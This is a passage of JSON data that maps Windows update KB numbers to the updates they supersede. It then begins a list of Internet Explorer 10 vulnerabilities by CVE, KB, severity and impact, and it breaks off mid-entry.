":["4498206"],"4503267":["4494440"],"4503273":["4499149"],"4503276":["4499151"],"4503279":["4499181"],"4503284":["4499179"],"4503285":["4499171"],"4503286":["4499167"],"4503291":["4499154"],"4503292":["4499164"],"4503293":["4497936"],"4503308":["4497932"],"4503327":["4494441"],"4506986":["4495610","4502560"],"4506987":["4495611","4502561"],"4506988":["4495613","4502562"],"4506989":["4495616","4502563"],"4506991":["4495620","4502584"],"4507419":["4486553","4499405","4503864"],"4507420":["4499406","4503865"],"4507421":["4499407","4503866"],"4507422":["4499408","4503867"],"4507423":["4489489","4499409","4503868"],"4507434":["4503259"],"4507435":["4503286"],"4507448":["4503276"],"4507449":["4503292"],"4507450":["4503279"],"4507452":["4503273"],"4507453":["4503293"],"4507455":["4503284"],"4507458":["4503291"],"4507460":["4503267"],"4507462":["4503285"],"4507469":["4503327"],"4511553":["4507469"],"4511872":["4507434"],"4512476":["4507452"],"4512488":["4507448"],"4512497":["4507458"],"4512501":["4507435"],"4512506":["4507449"],"4512507":["4507450"],"4512508":["4507453"],"4512516":["4507455"],"4512517":["4507460"],"4512518":["4507462"],"4512578":["4511553"],"4515384":["4512508"],"4516026":["4512476"],"4516044":["4512517"],"4516046":["4511872"],"4516055":["4512518"],"4516058":["4512501"],"4516065":["4512506"],"4516066":["4512516"],"4516067":["4512488"],"4516068":["4512507"],"4516070":["4512497"],"4516115":["4503308"],"4517388":["4512940"],"4517389":["4524147"],"4519335":["4503355"],"4519336":["4492242"],"4519337":["4511552"],"4519338":["4524148"],"4519764":["4340689"],"4519765":["4503357"],"4519974":["4524135"],"4519976":["4524157"],"4519998":["4524152"],"4520002":["4516026"],"4520004":["4524150"],"4520005":["4524156"],"4520007":["4524154"],"4520008":["4524149"],"4520010":["4524151"],"4520011":["4524153"],"4523205":["4519338"],"4524570":["4517389"],"4525106":["4519974"],"4525232":["4520011"],"4525233":["4520003"],"4525234":["4520002"],"4525235":["4519976"],"4525236":["4519998"],"4525237":["4520008"],"4525241":["4520004"],"4525243":["4520005"],"4525246":["4520007"],"4525253":["4519985"],"4528760":["4530684"],"4530677":["4525106"],"4530681":["4525232"],"4530684":["4524570"],"4530689":["4525236"],"4530691":["4525246"],"4530695":["4525234"],"4530702":["4525243"],"4530714":["4525241"],"4530715":["4523205"],"4530717":["4525237"],"4530734":["4525235"],"4532691":["4534273"],"4532693":["4528760"],"4534251":["4530677"],"4534271":["4530689"],"4534273":["4530715"],"4534276":["4530714"],"4534283":["4530691"],"4534293":["4530717"],"4534297":["4530702"],"4534303":["4530695"],"4534306":["4530681"],"4534310":["4530734"],"4535102":["4524741","4533095"],"4535103":["4524742","4533096"],"4535104":["4524743","4533097"],"4535105":["4524744","4533098"],"4537759":["4520024"],"4537762":["4534293"],"4537764":["4534271"],"4537767":["4534251"],"4537776":["4534306"],"4537789":["4534276"],"4537810":["4534303"],"4537814":["4534283"],"4537820":["4534310"],"4537821":["4534297"],"4538461":["4532691"],"4540670":["4537764"],"4540671":["4537767"],"4540673":["4532693"],"4540681":["4537789"],"4540688":["4537820"],"4540689":["4537762"],"4540693":["4537776"],"4541506":["4537810"],"4541509":["4537821"],"4541510":["4537814"],"4549949":["4538461"],"4549951":["4540673"],"4550905":["4540671"],"4550917":["4541510"],"4550922":["4540689"],"4550927":["4540681"],"4550929":["4540670"],"4550930":["4540693"],"4550951":["4541506"],"4550961":["4541509"],"4550964":["4540688"],"4551762":["4540673"],"4551853":["4549949"],"4552926":["4537477"],"4552928":["4537478"],"4552929":["4537479"],"4552931":["4537572"],"4556399":["4533095","4535102"],"4556400":["4538123","4538157"],"4556401":["4538124","4538158"],"4556402":["4533098","4535105"],"4556441":["4538156"],"4556798":["4550905"],"4556799":["4549951"],"4556807":["4550922"],"4556812":["4550927"],"4556813":["4550929"],"4556826":["4550930"],"4556836":["4550964"],"4556840":["4550917"],"4556846":["4550961"],"4556860":["4550951"],"4558998":["4561608"],"4560960":["4556799"],"4561600":["4537759"],"4561602":["4556812"],"4561603":["4556798"],"4561608":["4551853"],"4561612":["4556840"],"4561616":["4556813"],"4561621":["4556807"],"4561643":["4556836"],"4561649":["4556826"],"4561666":["4556846"],"4561670":["4556860"],"4565349":["4558998"],"4565351":["4565483"],"4565479":["4561603"],"4565483":["4560960"],"4565489":["4561621"],"4565503":["4557957"],"4565508":["4561602"],"4565511":["4561616"],"4565513":["4561649"],"4565524":["4561643"],"4565536":["4561670"],"4565537":["4561612"],"4565541":["4561666"],"4566782":["4565503"],"4569745":["4567327"],"4569751":["4562900"],"4570333":["4565349"],"4570505":["4567327"],"4570506":["4566517"],"4570507":["4566518"],"4570508":["4566519"],"4570509":["4566520"],"4571687":["4565479"],"4571692":["4565513"],"4571694":["4565511"],"4571703":["4565541"],"4571709":["4565489"],"4571729":["4565524"],"4571730":["4565536"],"4571736":["4565537"],"4571741":["4565508"],"4571756":["4566782"],"4574727":["4565351"],"4577010":["4571687"],"4577015":["4571694"],"4577032":["4571709"],"4577038":["4571736"],"4577041":["4571741"],"4577049":["4571692"],"4577051":["4571729"],"4577064":["4571730"],"4577066":["4571703"],"4577668":["4570333"],"4577671":["4574727"],"4578961":["4576629"],"4578963":["4576631"],"4578968":["4576478","4576945"],"4578974":["4576484","4576947"],"4579311":["4571756"],"4579976":["4576627","4577324"],"4579977":["4576628"],"4579978":["4576629"],"4579979":["4576630"],"4579980":["4576631"],"4580325":["4561600"],"4580327":["4577049"],"4580328":["4577041"],"4580330":["4577032"],"4580345":["4577051"],"4580346":["4577015"],"4580347":["4577066"],"4580378":["4577064"],"4580382":["4577038"],"4586768":["4580326"],"4586781":["4579311"],"4586785":["4580330"],"4586786":["4577671"],"4586787":["4580327"],"4586793":["4577668"],"4586807":["4580378"],"4586827":["4580345"],"4586830":["4580346"],"4586834":["4580382"],"4586845":["4580347"],"4592438":["4586781"],"4592440":["4586793"],"4592446":["4586785"],"4592449":["4586786"],"4592464":["4586787"],"4592468":["4586834"],"4592471":["4586827"],"4592484":["4586845"],"4592498":["4586807"],"4593226":["4586830"],"4598229":["4592449"],"4598230":["4592440"],"4598231":["4592464"],"4598242":["4592438"],"4598243":["4593226"],"4598245":["4592446"],"4598278":["4592468"],"4598279":["4592471"],"4598285":["4592484"],"4598288":["4592498"],"4601050":["4578968","4586876","4598299"],"4601051":["4578969","4597247"],"4601054":["4578972","4597249"],"4601056":["4578974","4586878","4598301"],"4601315":["4598229"],"4601318":["4598243"],"4601319":["4598242"],"4601331":["4598231"],"4601345":["4598230"],"4601347":["4598279"],"4601348":["4598278"],"4601354":["4598245"],"4601360":["4598288"],"4601384":["4598285"],"4601887":["4579976","4598461","4598499"],"4603002":["4579977","4598500"],"4603003":["4579978","4598501"],"4603004":["4579979","4598502"],"4603005":["4579980","4598503"],"5000800":["4601313"],"5000802":["4601319"],"5000803":["4601318"],"5000807":["4601331"],"5000808":["4601315"],"5000809":["4601354"],"5000822":["4601345"],"5000841":["4601347"],"5000844":["4601360"],"5000847":["4601348"],"5000848":["4601384"],"5001330":["5000802"],"5001335":["5000841"],"5001337":["5000808"],"5001339":["5000809"],"5001340":["5000807"],"5001342":["5000822"],"5001347":["5000803"],"5001382":["5000848"],"5001387":["5000847"],"5001389":["5000844"],"5003165":["5000800"],"5003169":["5001337"],"5003171":["5001342"],"5003172":["5001340"],"5003173":["5001330"],"5003174":["5001339"],"5003197":["5001347"],"5003203":["5001383"],"5003208":["5001387"],"5003209":["5001382"],"5003210":["5001389"],"5003220":["5001383"],"5003225":["5001332"],"5003228":["5001392"],"5003233":["5001335"],"5003635":["5003169"],"5003636":["5003165"],"5003637":["5003173"],"5003638":["5003197"],"5003646":["5003171"],"5003661":["5003210"],"5003667":["5003233"],"5003671":["5003209"],"5003687":["5003172"],"5003697":["5003208"],"5004237":["5004945"],"5004238":["5004948"],"5004244":["5004947"],"5004245":["5004946"],"5004249":["5004950"],"5004289":["5004953"],"5004294":["5004956"],"5004298":["5004954"],"5004305":["5004955"],"5004945":["5003637"],"5004947":["5003646"],"5004948":["5003638"],"5004950":["5003638"],"5004951":["5003667"],"5004954":["5003671"],"5004955":["5003661"],"5004956":["5003697"],"5005030":["5004244"],"5005031":["5004245"],"5005033":["5004237"],"5005036":["5004233"],"5005040":["5004249"],"5005043":["5004238"],"5005076":["5004298"],"5005088":["5004289"],"5005090":["5004305"],"5005099":["5004294"],"5005563":["5005036"],"5005565":["5005033"],"5005566":["5005031"],"5005568":["5005030"],"5005569":["5005040"],"5005573":["5005043"],"5005606":["5005090"],"5005613":["5005076"],"5005623":["5005094"],"5005633":["5005088"],"5006667":["5005566"],"5006669":["5005573"],"5006670":["5005565"],"5006671":["5005563"],"5006672":["5005030","5005568"],"5006675":["5005569"],"5006699":["5005575"],"5006714":["5005613"],"5006736":["5005606"],"5006739":["5005623"],"5006743":["5005633"],"5007186":["5006670"],"5007189":["5006667"],"5007192":["5006669"],"5007205":["5006699"],"5007206":["5006672"],"5007207":["5006675"],"5007215":["5006674"],"5007236":["5006743"],"5007247":["5006714"],"5007260":["5006739"],"5007263":["5006736"],"5008206":["5007189"],"5008207":["5007192"],"5008212":["5006670","5007186"],"5008215":["5007215"],"5008218":["5007206"],"5008223":["5007205"],"5008230":["5007207"],"5008244":["5007236"],"5008263":["5007247"],"5008274":["5007263"],"5008277":["5007260"],"5008877":["4603002"],"5008879":["4578974"],"5009543":["5008212"],"5009545":["5008206"],"5009546":["5008207"],"5009555":["5008223"],"5009557":["5008218"],"5009566":["5008215"],"5009585":["5008230"],"5009586":["5008277"],"5009610":["5008244"],"5009624":["5008263"],"5009627":["5008274"],"5009711":["4578980","4578983","4601089","4601090"],"5009712":["4578978","4578982","4601091","4601093"],"5009713":["4578981","4578984","4601092","4601094"],"5009714":["4578979","4578983","4601090"],"5009718":["4578973","4579976"],"5009719":["4578952","4578955","4578963","4578977"],"5009720":["4578950","4578954","4578961","4578975"],"5009721":["4578953","4578956","4601048","4601058"],"5009722":["4578955","4578963","4579980"],"5010342":["5009543"],"5010345":["5009545"],"5010351":["5009557"],"5010354":["5009555"],"5010358":["5009585"],"5010359":["5009546"],"5010384":["5009627"],"5010386":["5009566"],"5010392":["5009586"],"5010404":["5009610"],"5010419":["5009624"],"5011485":["5010345"],"5011486":["5006671"],"5011487":["5010342"],"5011491":["5010358"],"5011493":["5010386"],"5011495":["5010359"],"5011497":["5010354"],"5011503":["5010351"],"5011534":["5010384"],"5011535":["5010392"],"5011552":["5010404"],"5011564":["5010419"],"5012117":["5008876"],"5012118":["5008877"],"5012120":["5008879"],"5012121":["5008880"],"5012123":["5008882"],"5012170":["4535680"],"5012328":["5008873","5008878"],"5012329":["5008858","5008859","5008860","5008867"],"5012330":["5008865","5008869","5008874","5008881"],"5012331":["5008870","5008875","5008883"],"5012332":["5008859","5008860","5008866"],"5012591":["5011485"],"5012592":["5011493"],"5012596":["5011495"],"5012599":["5011487"],"5012604":["5011497"],"5012626":["5011552"],"5012647":["5011503"],"5012650":["5011535"],"5012653":["5011491"],"5012658":["5011534"],"5012670":["5011564"],"5013870":["5012329"],"5013871":["5012330"],"5013872":["5012331"],"5013873":["5012332"],"5013941":["5012647"],"5013942":["5012599"],"5013943":["5012592"],"5013944":["5012604"],"5013945":["5012591"],"5013952":["5012596"],"5013963":["5012653"],"5014010":["5012658"],"5014011":["5012670"],"5014012":["5012626"],"5014017":["5012650"],"5014678":["5013944"],"5014692":["5013941"],"5014697":["5013943"],"5014699":["5013942"],"5014701":["5013945"],"5014702":["5013952"],"5014710":["5013963"],"5014738":["5014011"],"5014747":["5014017"],"5014748":["5014012"],"5014752":["5014010"],"5015807":["5014699"],"5015808":["5014702"],"5015811":["5014692"],"5015814":["5014688"],"5015827":["5014678"],"5015832":["5014710"],"5015861":["5014748"],"5015863":["5014747"],"5015866":["5014752"],"5015874":["5014738"],"5016616":["5015807"],"5016622":["5015808"],"5016623":["5015811"],"5016627":["5015827"],"5016629":["5015814"],"5016639":["5015832"],"5016669":["5015866"],"5016672":["5015863"],"5016676":["5015861"],"5016681":["5015874"],"5017305":["5016622"],"5017308":["5016616"],"5017315":["5016623"],"5017316":["5016627"],"5017327":["5016639"],"5017328":["5016629"],"5017358":["5016669"],"5017361":["5016676"],"5017367":["5016681"],"5017370":["5016672"],"5018410":["5017308"],"5018411":["5017305"],"5018418":["5017321"],"5018419":["5017315"],"5018421":["5017316"],"5018425":["5017327"],"5018450":["5017358"],"5018454":["5017361"],"5018457":["5017370"],"5018474":["5017367"],"5019081":["5018421"],"5019958":["5018413"],"5019959":["5018410"],"5019961":["5018418"],"5019964":["5018411"],"5019966":["5018419"],"5019970":["5018425"],"5019980":["5018427"],"5020000":["5018454"],"5020009":["5018457"],"5020019":["5018450"],"5020023":["5018474"],"5020614":["5013625","5018515"],"5020622":["5017271","5018341"],"5020685":["5013868","5018542"],"5020686":["5017498","5018543","5018856"],"5020687":["5017500","5018545","5018858"],"5020688":["5013870","5018547"],"5020689":["5013871","5018548"],"5020690":["5016568","5018549"],"5020691":["5013873","5018550"],"5020692":["5017501","5018551","5018860"],"5020694":["5017651","5018202"],"5020695":["5017497","5018546","5018859"],"5020801":["5017499","5018544","5018857"],"5020868":["5018549","5020690"],"5020873":["5018515","5020614"],"5020880":["5018341","5020622"],"5021085":["5018542","5020685"],"5021086":["5018543","5018856","5020686"],"5021087":["5018544","5018857","5020801"],"5021088":["5018202","5018545","5018858","5020687","5020694"],"5021090":["5018546","5018859","5020695"],"5021091":["5018548","5020689"],"5021093":["5018549","5020690"],"5021094":["5018550","5020691"],"5021095":["5018551","5018860","5020692"],"5021233":["5019959"],"5021234":["5019961"],"5021235":["5019964"],"5021237":["5019966"],"5021243":["5019970"],"5021249":["5019081"],"5021255":["5019980"],"5021285":["5020009"],"5021289":["5020019"],"5021291":["5020000"],"5021294":["5020023"],"5022282":["5021233"],"5022286":["5021237"],"5022287":["5021234"],"5022289":["5021235"],"5022291":["5021249"],"5022297":["5021243"],"5022303":["5021255"],"5022338":["5021291"],"5022340":["5021289"],"5022348":["5021285"],"5022352":["5021294"],"5022497":["5020880","5022404"],"5022503":["5018515","5020873"],"5022727":["5018543","5021086","5022474"],"5022728":["5018545","5021088","5022476"],"5022729":["5017888","5021089","5022478"],"5022730":["5018546","5021090","5022479"],"5022731":["5018547","5021091"],"5022732":["5018548","5021092"],"5022733":["5018549","5021093"],"5022734":["5018550","5021094"],"5022735":["5018551","5021095"],"5022782":["5018542","5021085"],"5022834":["5022282"],"5022835":["5019958"],"5022836":["5022287"],"5022838":["5022289"],"5022840":["5022286"],"5022842":["5022291"],"5022845":["5022303"],"5022858":["5022297"],"5022872":["5022338"],"5022890":["5022340"],"5022899":["5022352"],"5022903":["5022348"],"5023696":["5022834"],"5023697":["5022838"],"5023698":["5022836"],"5023702":["5022840"],"5023705":["5022842"],"5023706":["5022845"],"5023713":["5022858"],"5023755":["5022890"],"5023756":["5022903"],"5023765":["5022899"],"5023769":["5022874"],"5025221":["5023696"],"5025224":["5023698"],"5025228":["5023697"],"5025229":["5023702"],"5025230":["5023705"],"5025234":["5023713"],"5025239":["5023706"],"5025271":["5023755"],"5025279":["5023769"],"5025285":["5023765"],"5025287":["5023769"],"5026361":["5025221"],"5026362":["5025229"],"5026363":["5025228"],"5026366":["5022835"],"5026368":["5025224"],"5026370":["5025230"],"5026372":["5025239"],"5026382":["5025234"],"5026408":["5025271"],"5026413":["5025279"],"5026415":["5025285"],"5026419":["5025287"],"5027119":["5022497","5026515"],"5027123":["5022503"],"5027215":["5026361"],"5027219":["5026363"],"5027222":["5026362"],"5027223":["5026368"],"5027225":["5026370"],"5027230":["5026382"],"5027231":["5026372"],"5027271":["5026415"],"5027275":["5026413"],"5027279":["5026408"],"5027283":["5026419"],"5027536":["5022782"],"5027537":["5022728","5022729","5026958"],"5027538":["5022728","5022729","5026958"],"5027539":["5022730","5026959"],"5027540":["5022731"],"5027541":["5022732"],"5027542":["5022733"],"5027543":["5022731","5022734"],"5027544":["5022726","5022735"],"5028166":["5027215"],"5028167":["5026366"],"5028168":["5027222"],"5028169":["5027219"],"5028171":["5027225"],"5028182":["5027223"],"5028185":["5027231"],"5028186":["5027230"],"5028222":["5027279"],"5028228":["5027271"],"5028232":["5027283"],"5028240":["5027275"],"5029242":["5028169"],"5029243":["5028167"],"5029244":["5028166"],"5029247":["5028168"],"5029250":["5028171"],"5029253":["5028182"],"5029259":["5028186"],"5029263":["5028185"],"5029295":["5028232"],"5029296":["5028240"],"5029312":["5028228"],"5029318":["5028222"],"5029924":["5028952"],"5030178":["5029647"],"5030179":["5029648"],"5030180":["5029649"],"5030181":["5029650"],"5030182":["5029651"],"5030183":["5029652"],"5030184":["5029653"],"5030185":["5029654"],"5030186":["5029655"],"5030209":["5029243"],"5030211":["5029244"],"5030213":["5029242"],"5030214":["5029247"],"5030216":["5029250"],"5030217":["5029253"],"5030219":["5029263"],"5030220":["5029259"],"5030265":["5029296"],"5030269":["5029312"],"5030271":["5029318"],"5030278":["5029295"],"5031217":["5028948"],"5031354":["5030219"],"5031355":["5030209"],"5031356":["5030211"],"5031358":["5030217"],"5031361":["5030214"],"5031362":["5030213"],"5031364":["5030216"],"5031377":["5030220"],"5031408":["5030265"],"5031416":["5030271"],"5031419":["5030269"],"5031442":["5030278"],"5032189":["5031356"],"5032190":["5031354"],"5032191":["5031355"],"5032192":["5031358"],"5032196":["5031361"],"5032197":["5031362"],"5032198":["5031364"],"5032199":["5031377"],"5032247":["5031442"],"5032249":["5031419"],"5032252":["5031408"],"5032254":["5031416"],"5033118":["5032198"],"5033369":["5032192"],"5033371":["5032196"],"5033372":["5032189"],"5033373":["5032197"],"5033375":["5032190"],"5033376":["5032191"],"5033379":["5032199"],"5033383":["5032202"],"5033420":["5032249"],"5033422":["5032254"],"5033429":["5032247"],"5033433":["5032252"],"5034119":["5033373"],"5034120":["5033376"],"5034121":["5033369"],"5034122":["5033372"],"5034123":["5033375"],"5034127":["5033371"],"5034129":["5033118"],"5034130":["5033383"],"5034134":["5033379"],"5034169":["5033433"],"5034171":["5033420"],"5034173":["5033422"],"5034184":["5033429"],"5034763":["5034122"],"5034765":["5034123"],"5034766":["5034121"],"5034767":["5034119"],"5034768":["5034127"],"5034769":["5034130"],"5034770":["5034129"],"5034774":["5034134"],"5034795":["5034173"],"5034819":["5034171"],"5034830":["5034184"],"5034831":["5034169"],"5035845":["5034763"],"5035849":["5034768"],"5035853":["5034765"],"5035854":["5034766"],"5035855":["5034767"],"5035856":["5034769"],"5035857":["5034770"],"5035858":["5034774"],"5035885":["5034819"],"5035888":["5034831"],"5035920":["5034795"],"5035930":["5034830"],"5035959":["5034860"],"5036892":["5035845"],"5036893":["5035853"],"5036894":["5035854"],"5036896":["5035849"],"5036899":["5035855"],"5036909":["5035857"],"5036910":["5035856"],"5036925":["5035858"],"5036932":["5035920"],"5036960":["5035885"],"5036967":["5035888"],"5036969":["5035930"],"5037763":["5036899"],"5037765":["5036896"],"5037768":["5036892"],"5037770":["5036894"],"5037771":["5036893"],"5037778":["5036969"],"5037780":["5036967"],"5037781":["5036910"],"5037782":["5036909"],"5037788":["5036925"],"5037800":["5036932"],"5037823":["5036960"],"5039211":["5037768"],"5039212":["5037771"],"5039213":["5037770"],"5039214":["5037763"],"5039217":["5037765"],"5039225":["5037788"],"5039227":["5037782"],"5039236":["5037781"],"5039245":["5037800"],"5039260":["5037778"],"5039289":["5037780"],"5039294":["5037823"],"5039330":["5037848"],"5040426":["5034120"],"5040427":["5039211"],"5040430":["5039217"],"5040431":["5039213"],"5040434":["5039214"],"5040437":["5039227"],"5040438":["5039236"],"5040442":["5039212"],"5040448":["5039225"],"5040456":["5039294"],"5040485":["5039260"],"5040497":["5039289"],"5040499":["5039245"],"5041160":["5040437"],"5041571":["5040435"],"5041573":["5040438"],"5041578":["5040430"],"5041580":["5040427"],"5041585":["5040442"],"5041592":["5040431"],"5041770":["5040426"],"5041773":["5040434"],"5041782":["5040448"],"5041828":["5040456"],"5041838":["5040497"],"5041850":["5040499"],"5041851":["5040485"],"5042320":["5034441"],"5042321":["5034440"],"5042322":["5034439"],"5042881":["5041160"],"5043049":["5041770"],"5043050":["5041578"],"5043051":["5041773"],"5043055":["5041573"],"5043064":["5041580"],"5043067":["5041592"],"5043076":["5041585"],"5043083":["5041782"],"5043125":["5041851"],"5043129":["5041838"],"5043135":["5041850"],"5043138":["5041828"],"5044273":["5043064"],"5044277":["5043050"],"5044280":["5043067"],"5044281":["5042881"],"5044284":["5043080"],"5044285":["5043076"],"5044286":["5043083"],"5044288":["5043055"],"5044293":["5043051"],"5044320":["5043135"],"5044342":["5043125"],"5044343":["5043138"],"5044356":["5043129"],"5046398":["5042321"],"5046399":["5042322"],"5046400":["5042320"],"5046612":["5044293"],"5046613":["5044273"],"5046615":["5044277"],"5046616":["5044281"],"5046617":["5044284"],"5046618":["5044288"],"5046633":["5044285"],"5046661":["5044320"],"5046665":["5044286"],"5046682":["5044343"],"5046687":["5044356"],"5046697":["5044342"],"5048652":["5046613"],"5048653":["5046618"],"5048654":["5046616"],"5048661":["5046615"],"5048667":["5046617"],"5048671":["5046612"],"5048685":["5046633"],"5048695":["5046687"],"5048699":["5046697"],"5048703":["5046665"],"5048710":["5046661"],"5048735":["5046682"],"5048800":["5046698"],"5049981":["5048652"],"5049983":["5048654"],"5049984":["5048653"],"5049993":["5048671"],"5050004":["5048699"],"5050008":["5048661"],"5050009":["5048667"],"5050013":["5048703"],"5050021":["5048685"],"5050048":["5048735"],"5050049":["5048695"],"5050063":["5048710"],"5051974":["5049981"],"5051979":["5049983"],"5051980":["5049984"],"5051987":["5050009"],"5051989":["5050021"],"5052000":["5050008"],"5052006":["5049993"],"5052016":["5050049"],"5052020":["5050004"],"5052038":["5050063"],"5052040":["5050013"],"5052042":["5050048"],"5053594":["5052006"],"5053596":["5052000"],"5053598":["5051987"],"5053599":["5051980"],"5053602":["5051989"],"5053603":["5051979"],"5053606":["5051974"],"5053618":["5052040"],"5053620":["5052016"],"5053636":["5052105"],"5053638":["5052106"],"5053886":["5052020"],"5053887":["5052042"],"5053888":["5052038"],"5055518":["5053606"],"5055519":["5053596"],"5055521":["5053594"],"5055523":["5053598"],"5055526":["5053603"],"5055527":["5053599"],"5055528":["5053602"],"5055547":["5053618"],"5055557":["5053887"],"5055561":["5053620"],"5055581":["5053886"],"5055609":["5053888"],"5058379":["5055518"],"5058383":["5055521"],"5058384":["5055527"],"5058385":["5055526"],"5058387":["5055547"],"5058392":["5055519"],"5058403":["5055557"],"5058405":["5055528"],"5058411":["5055523"],"5058430":["5055561"],"5058449":["5055609"],"5058451":["5055581"],"5060118":["5058384"],"5060525":["5058500"],"5060526":["5058385"],"5060531":["5058392"],"5060533":["5058379"],"5060841":["5058497"],"5060842":["5058411"],"5060998":["5058387"],"5060999":["5058405"],"5061010":["5058383"],"5061018":["5058403"],"5061026":["5058449"],"5061059":["5058451"],"5061078":["5058430"],"5062552":["5060999"],"5062553":["5060842"],"5062554":["5060533"],"5062557":["5060531"],"5062560":["5061010"],"5062561":["5060998"],"5062570":["5060118"],"5062572":["5060526"],"5062592":["5061059"],"5062597":["5061018"],"5062624":["5061026"],"5062632":["5061078"],"5063709":["5062554"],"5063871":["5062560"],"5063875":["5062552"],"5063877":["5062557"],"5063878":["5062553"],"5063880":["5062572"],"5063888":["5062624"],"5063889":["5062561"],"5063899":["5062570"],"5063906":["5062592"],"5063947":["5062632"],"5063950":["5062597"],"5065306":["5063812"],"5065425":["5063899"],"5065426":["5063878"],"5065427":["5063871"],"5065428":["5063877"],"5065429":["5063709"],"5065430":["5063889"],"5065431":["5063875"],"5065432":["5063880"],"5065435":["5060996"],"5065468":["5063947"],"5065474":["5064010"],"5065507":["5063950"],"5065508":["5063888"],"5065509":["5063906"],"5066586":["5065428"],"5066780":["5065425"],"5066782":["5065432"],"5066791":["5065429"],"5066793":["5065431"],"5066835":["5065426"],"5066836":["5065427"],"5066837":["5065430"],"5066840":["5065435"],"5066872":["5065468"],"5066873":["5065507"],"5066874":["5065508"],"5066875":["5065509"],"5068779":["5066780"],"5068781":["5066791"],"5068787":["5066782"],"5068791":["5066586"],"5068861":["5066835"],"5068864":["5066836"],"5068865":["5066793"],"5068904":["5066872"],"5068905":["5066873"],"5068906":["5066874"],"5068907":["5066875"],"5071413":["5068840"],"5071417":["5068865"],"5071501":["5068904"],"5071503":["5068905"],"5071504":["5068906"],"5071505":["5068907"],"5071542":["5068779"],"5071543":["5068864"],"5071544":["5068791"],"5071546":["5068781"],"5071547":["5068787"],"5072014":["5068966"],"5072033":["5068861"],"5073379":["5072033"],"5073450":["5071542"],"5073455":["5071417"],"5073457":["5071547"],"5073695":["5071501"],"5073696":["5071503"],"5073697":["5071504"],"5073698":["5071505"],"5073722":["5071543"],"5073723":["5071544"],"5073724":["5071546"],"5074109":["5072033"],"5075897":["5073450"],"5075899":["5074109"],"5075906":["5073457"],"5075912":["5073724"],"5075941":["5073455"],"5075970":["5073696"],"5075971":["5073698"],"5077181":["5073379","5074109"],"5078734":["5075897"],"5078736":["5075942"],"5078737":["5075943"],"5078738":["5066840"],"5078740":["5075899"],"5078752":["5075904"],"5078766":["5075906"],"5078774":["5075970"],"5078775":["5075971"],"5078883":["5075941"],"5078885":["5075912"],"5078938":["5075999"],"5079420":["5077212"],"5079466":["5077179"],"5079473":["5077181"],"5082052":["5078883"],"5082060":["5078734"],"5082063":["5078740"],"5082123":["5078752"],"5082126":["5078774"],"5082127":["5078775"],"5082142":["5078766"],"5082198":["5078938"],"5082200":["5078885"],"5082806":["5078738"],"5083768":["5079466"],"5083769":["5078740","5079473"],"5084597":["5077212"],"5087420":["5082052"],"5087470":["5082127"],"5087471":["5082126"],"5087537":["5082198"],"5087538":["5082123"],"5087539":["5082063"],"5087541":["5082060"],"5087544":["5082200"],"5087545":["5082142"],"5089548":["5083768"],"5089549":["5082063","5083769"],"952068":["944275"],"953295":["928367"],"953297":["929729"],"953298":["929729"],"954430":["936181"],"954459":["933579"],"955069":["936021"],"956572":["931784","943485","956841"],"956802":["948590"],"957097":["914389"],"958215":["956390"],"958623":["950582"],"958687":["957095"],"958690":["954211"],"958869":["938464","954593"],"959426":["935839"],"960082":["948110","948111"],"960089":["948108","948109"],"960225":["935840"],"961063":["951746"],"961064":["948745"],"961260":["958215","960714"],"961371":["908519"],"961373":["951698"],"961501":["930178"],"963027":["958215","960714"],"968537":["958690"],"968816":["923689"],"969059":["920685"],"969805":["949014","957280"],"969883":["961064"],"969897":["963027"],"969947":["968537"],"970238":["933729"],"970437":["949269"],"971032":["951071"],"971108":["947742"],"971110":["947748"],"971468":["958687"],"971486":["931784"],"971633":["951698"],"971961":["917344"],"972260":["969897"],"972270":["961371"],"972554":["952068"],"973037":["969805"],"973039":["970437"],"973346":["950760"],"973354":["951066"],"973525":["973346"],"973540":["936782"],"973869":["891781"],"974112":["954600"],"974392":["911280"],"974455":["972260"],"974571":["828028"],"975560":["971633"],"975562":["971633"],"976325":["974455"],"977165":["971486"],"977914":["971557"],"978207":["976325"],"978251":["914389","957097"],"978262":["973525"],"978338":["974145"],"978542":["951066","973354"],"978695":["968816"],"979402":["936782"],"979559":["969947"],"979683":["977165"],"979906":["953297"],"979913":["953297","972593"],"980182":["978207"],"980195":["978262"],"980232":["978251"],"980436":["960225"],"981550":["973037"],"981852":["979683"],"981957":["2160329"],"981997":["975561"],"982000":["973039"],"982214":["971468"],"982381":["980182"],"982802":["970238"],"983582":["953300"],"983583":["974417"],"983587":["974291"],"983588":["974469"],"983589":["974470"]}} +{"generated":"20260930","products":{"Internet Explorer 10 on Windows Server 2012":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0037","kb":"4012217","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012217","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048959","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054520","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025331","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074593","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088877","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088877","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103730","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8353","kb":"4343901","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467701","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471330","severity":"Important","impact":"Remote 